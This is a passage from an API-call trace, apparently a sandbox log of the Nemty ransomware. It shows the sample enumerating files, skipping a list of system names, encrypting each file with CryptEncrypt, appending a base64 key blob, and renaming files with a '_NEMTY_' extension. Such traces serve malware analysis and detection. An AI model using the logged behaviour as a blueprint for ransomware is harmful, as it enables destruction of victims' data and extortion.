lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.SUO", cAlternateFileName="")) returned 1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2=".") returned 1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="..") returned 1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="...") returned 1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="windows") returned -1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="rsa") returned -1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="NTDETECT.COM") returned -1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="ntldr") returned -1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="MSDOS.SYS") returned -1 [0176.570] lstrcmpiW (lpString1="DigSig.SUO", lpString2="IO.SYS") returned -1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="boot.ini") returned 1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="boot.ini") returned 1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="ntuser.dat") returned -1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="desktop.ini") returned 1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="CONFIG.SYS") returned 1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="RECYCLER") returned -1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="bootmgr") returned 1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="programdata") returned -1 [0176.571] lstrcmpiW (lpString1="DigSig.SUO", lpString2="appdata") returned 1 [0176.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.SUO", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.571] Sleep (dwMilliseconds=0x5) [0176.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ce4b050, dwHighDateTime=0x1d561e8)) [0176.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ce4b050, dwHighDateTime=0x1d561e8)) [0176.574] GetLastError () returned 0x0 [0176.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.574] GetLastError () returned 0x0 [0176.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.575] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.575] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="f8gK7GZ/8aY41YnndcQ5HrDnMDFl1ricOcBwNQ6L1MMkWL0FE7SXWVtiRiJaftLA\r\nwzMtiYiEQ+Z8YpF1OEi4ZETt56Myn5hbzhGajxATNFvT16j3vtUhroRc0YEVAkLu\r\nsZoKxOB1xEjw4JMWSs5THjRG6eQNRMfRJ82BrYna/TunujON5ud/qC7/jA+ijdQe\r\n0Zy4VmRzn+Xq1XPEcMl2Nylm70kG7kXs8cUGQJxG6ecEL9Vmq5K+7KEAxbUy7CzY\r\np7CrWX4j9PYAi67wd83Es0JzvY83raPr7i4/GT7beuOhXy5H3VbXOWEzS64hplmj\r\n0Crx2pFbfHtN1wVS6Y0/oQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.576] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=129536) returned 1 [0176.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.576] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.576] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.586] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.586] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.586] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=129536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fa00 [0176.586] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.586] CloseHandle (hObject=0x2e8) returned 1 [0176.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.587] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo._nemty_kgobjgd_")) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.587] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.SUO", cAlternateFileName="")) returned 1 [0176.587] lstrcmpiW (lpString1="DVA.SUO", lpString2=".") returned 1 [0176.587] lstrcmpiW (lpString1="DVA.SUO", lpString2="..") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="...") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="windows") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="rsa") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="NTDETECT.COM") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="ntldr") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="MSDOS.SYS") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="IO.SYS") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="boot.ini") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="boot.ini") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="ntuser.dat") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="desktop.ini") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="CONFIG.SYS") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="RECYCLER") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="bootmgr") returned 1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="programdata") returned -1 [0176.588] lstrcmpiW (lpString1="DVA.SUO", lpString2="appdata") returned 1 [0176.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SUO", lpUsedDefaultChar=0x0) returned 7 [0176.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SUO", lpUsedDefaultChar=0x0) returned 7 [0176.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SUO", lpUsedDefaultChar=0x0) returned 7 [0176.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SUO", lpUsedDefaultChar=0x0) returned 7 [0176.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.588] Sleep (dwMilliseconds=0x5) [0176.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ce711b0, dwHighDateTime=0x1d561e8)) [0176.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ce711b0, dwHighDateTime=0x1d561e8)) [0176.590] GetLastError () returned 0x0 [0176.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.590] GetLastError () returned 0x0 [0176.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.590] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.590] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.590] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.590] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="BABACZwB9mkM6Ml/VfeUrUTujCP/+xyD84L4JmCs7+CzDwT6+h8QXmrml6Y9RnvO\r\nUnZ06Jo/rO0KjfF2qiTsOobuWp8BGrr9GjY4aYvbYzZ9dKYyCCTantrTi0GHEKaU\r\nsM7SfTzYB2j2xCOUXumTvPrbTTkFGSiAf1pvpUMWtDfQ0Q+Koc/d/pgThqNQG9DG\r\nVilvCtpnVz++LSFgZVMyHjWibd4HFAfly5VaEOwF5L6MO3hSCSIwq+nLnj3YePbT\r\nr1R5voD6EHJexWYFYABa2oSVjQxZJZRz6x4+WwTJWJA2J3F1BIEA3PrY2vDdPjET\r\nJO4Km2F7CJn9MH1QCQmbaw==\r\n", pcchString=0x653e5dc) returned 1 [0176.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.590] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\dva.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.591] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0176.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0176.591] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.591] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0176.593] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.593] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0176.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.594] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0176.594] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.594] CloseHandle (hObject=0x2e8) returned 1 [0176.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0176.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.594] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\dva.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\dva.suo._nemty_kgobjgd_")) returned 1 [0176.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0176.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.595] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: 